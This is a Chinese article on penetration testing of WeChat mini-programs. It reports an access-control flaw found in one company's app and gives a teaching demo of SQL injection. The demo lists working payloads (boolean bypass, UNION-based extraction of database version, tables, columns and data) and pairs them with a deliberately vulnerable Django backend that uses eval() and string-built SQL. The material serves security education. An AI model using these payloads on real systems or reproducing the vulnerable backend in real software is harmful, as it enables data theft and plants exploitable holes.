欢迎光临,了解微信小程序开发,就上易用通!

“小而美”的小程序渗透测试

发布:2018-01-24 18:27浏览: 来源:网络 作者:tianshu

春风送暖,两会在和煦的阳光中落下了帷幕,期间,互联网安全是一项备受关注的热点话题。十二届全国人大五次会议副秘书长傅莹在发布会上介绍,今年将开展网络安全执法检查,关注重点之一就是加强个人信息保护。

随着“微信小程序”的盛行,它的安全问题也不容小觑。为了贡献一己之力,知道创宇在两会期间义务为党政府机关和企事业单位提供“微信小程序”安全测试。

安全专家于超,在安全测试过程中发现某大型企业的小程序存在遍历漏洞。导致大量平台用户信息及订单信息泄露。

于超介绍说,在测试该小程序时发现在获取用户订单列表时直接使用PassportId参数进行查询,未验证查询参数PassportId是否与查询人会话身份(session)匹配,这样便导致可以通过修改PassportId值的方式获得其他用户对订单列表,从而获取用户信息。 
 

“小而美”的小程序渗透测试(图1)

 

“小而美”的小程序渗透测试(图2)

 

“小而美”的小程序渗透测试(图3)

 

于超建议,针对该问题,在获取用户数据时添加会话验证,只允许读取当前登录用户的订单信息,由此有效避免个人信息泄露。

经过安全服务团队结合小程序特点所做的大量分析发现,开发者可能会在小程序编写上存在SQL注入、越权访问、文件上传、CSRF信息泄露等严重安全问题,这些都会对小程序开发者、小程序用户造成严重损害,包括经济、用户信息、信任度等,甚至可能导致程序无法再使用。例如,在开发一个有查询功能的小程序时这样写:

Sqlinjection.js代码

 

  1. Page({
  2. data: {
  3. info: '',
  4. username: '',
  5. password: '',
  6. },
  7. formSubmit: (e) => {
  8. console.log(e.detail.value);
  9. wx.request({
  10. url: 'Example Domain',
  11. data: e.detail.value,
  12. method: 'POST',
  13. header: {
  14. 'content-type': 'application/json'
  15. },
  16. success: res => {
  17. wx.showModal({
  18. title: '服务器返回的数据',
  19. content: JSON.stringify(res.data),
  20. })
  21. },
  22. fail: err => {
  23. console.log('失败')
  24. }
  25. });
  26. },
  27. trueOne: function() {
  28. this.setData({
  29. info: '该方法通过或语句,使查询条件为true,以此来通过登陆验证',
  30. username: 'test',
  31. password: "' or 1='1"
  32. })
  33. },
  34. trueTwo: function() {
  35. this.setData({
  36. info: '该方法在通过查找是否存在账号,通过#注释吊了password的查询,若存在则查询出结果',
  37. username: "admin'#",
  38. password: '',
  39. })
  40. },
  41. tryColumnNum: function() {
  42. this.setData({
  43. info: 'union可以合并多条语句的结果,返回的列数必需一样,因此可通过删减null直到不报错,就可以猜出列数',
  44. username: "'union select null, null,null,null#",
  45. password: '',
  46. })
  47. },
  48. tryColumnNumOrder: function() {
  49. this.setData({
  50. info: 'order by 的数目若大于列数则会报错,因此可通过尝试快速猜出列数',
  51. username: "'order by 4#",
  52. password: '',
  53. })
  54. },
  55. getUserVersion: function() {
  56. this.setData({
  57. info: '通过union,获取用户名与数据库版本',
  58. username: "'union select user(), @@version, null, null#",
  59. password: '',
  60. })
  61. },
  62. getDatabaseName: function() {
  63. this.setData({
  64. info: '数据库名都保存在information_schema.schemata里',
  65. username: "'union select schema_name,null,null,null from information_schema.schemata#",
  66. password: '',
  67. })
  68. },
  69. getTableName: function() {
  70. this.setData({
  71. info: '查询数据库表名',
  72. username: "'union select table_name,null,null,null from information_schema.tables where table_schema='hackdemo'#",
  73. password: '',
  74. })
  75. },
  76. getColumnName: function() {
  77. this.setData({
  78. info: '查询表字段名',
  79. username: "'union select column_name,null,null,null from information_schema.columns where table_name='sqlinject_systeminfo'#",
  80. password: '',
  81. })
  82. },
  83. getTableData: function() {
  84. this.setData({
  85. info: '提取指定数据',
  86. username: "'union select userinfo, null,null,null from sqlinject_systeminfo#",
  87. password: ''
  88. })
  89. },
  90. clear: function() {
  91. this.setData({
  92. info: '',
  93. username: '',
  94. password: ''
  95. })
  96. }
  97. })

SQLinjection.wxml代码

 

  1. <import src="../common/header.wxml" />
  2. <import src="../common/footer.wxml" />
  3. <view>
  4. <form bindsubmit="formSubmit">
  5. <view>
  6. <view>用户名</view>
  7. <input name="username" id="test" value="{{username}}" />
  8. </view>
  9. <view>
  10. <view>密码</view>
  11. <input name="password" value="{{password}}" />
  12. </view>
  13. <view>
  14. <button formType="submit">提交</button>
  15. <button bindtap="clear">清除</button>
  16. </view>
  17. <view>
  18. <scroll-view scroll-x="true">
  19. <view id="green">
  20. <button bindtap="trueOne">or条件为true</button>
  21. <button bindtap="trueTwo">账号为true</button>
  22. <button bindtap="tryColumnNum">union 猜列数</button>
  23. <button bindtap="tryColumnNumOrder">orderby 猜列数</button>
  24. <button bindtap="getUserVersion">获取数据库ip与版本</button>
  25. <button bindtap="getDatabaseName">获取数据库名</button>
  26. <button bindtap="getTableName">获取表名</button>
  27. <button bindtap="getColumnName">获取列名</button>
  28. <button bindtap="getTableData">获取指定数据</button>
  29. </view>
  30. </scroll-view>
  31. </view>
  32. <text>
  33. 说明:
  34. {{info}}
  35. </text>
  36. </form>
  37. </view>

后端代码

 

  1. # coding=utf-8
  2. from django.shortcuts import render
  3. from django.http import HttpResponse
  4. import json
  5. from sqlinject.models import User
  6. from django.db import connection,transaction
  7.  
  8. # Create your views here.
  9. def index(req):
  10. body = eval(req.body)
  11. username = body.get('username')
  12. password = body.get('password')
  13. cursor = connection.cursor()
  14. sql_query = "select * from sqlinject_user where username='%s' and password='%s'" % (username, password)
  15. cursor.execute(sql_query)
  16. raw = cursor.fetchall()
  17. return HttpResponse(json.dumps({
  18. u'sql语句': sql_query,
  19. u'结果集': raw,
  20. }))

该小程序输入密码处存在注入,该漏洞会造成数据脱库、数据被恶意增删改查等危险。信息窃取、数据篡改、恶意植入、用户仿冒、获取为授权资源、控制应用软件和服务器、这些都不是我们想看到的。当然,互联网的发展伴随着或多或少的问题这是无可厚非的,这就要求每位互联网从业者为互联网安全添砖加瓦。

于超等互联网精英所在的知道创宇“安应用”团队是互联网安全的领军者,更是业内第一个专业“微信小程序”安全测试团队,我们能做的就是身先士卒,用最专业的技术,最有针对性的方法维护着互联网的安全。企业目标和社会责任的结合是我们的夙愿。侠之大者,为国为民,专注维护互联网安全,我们从“小”做起。





免责声明:本站所有文章和图片均来自用户分享和网络收集,文章和图片版权归原作者及原出处所有,仅供学习与参考,请勿用于商业用途,如果损害了您的权利,请联系网站客服处理。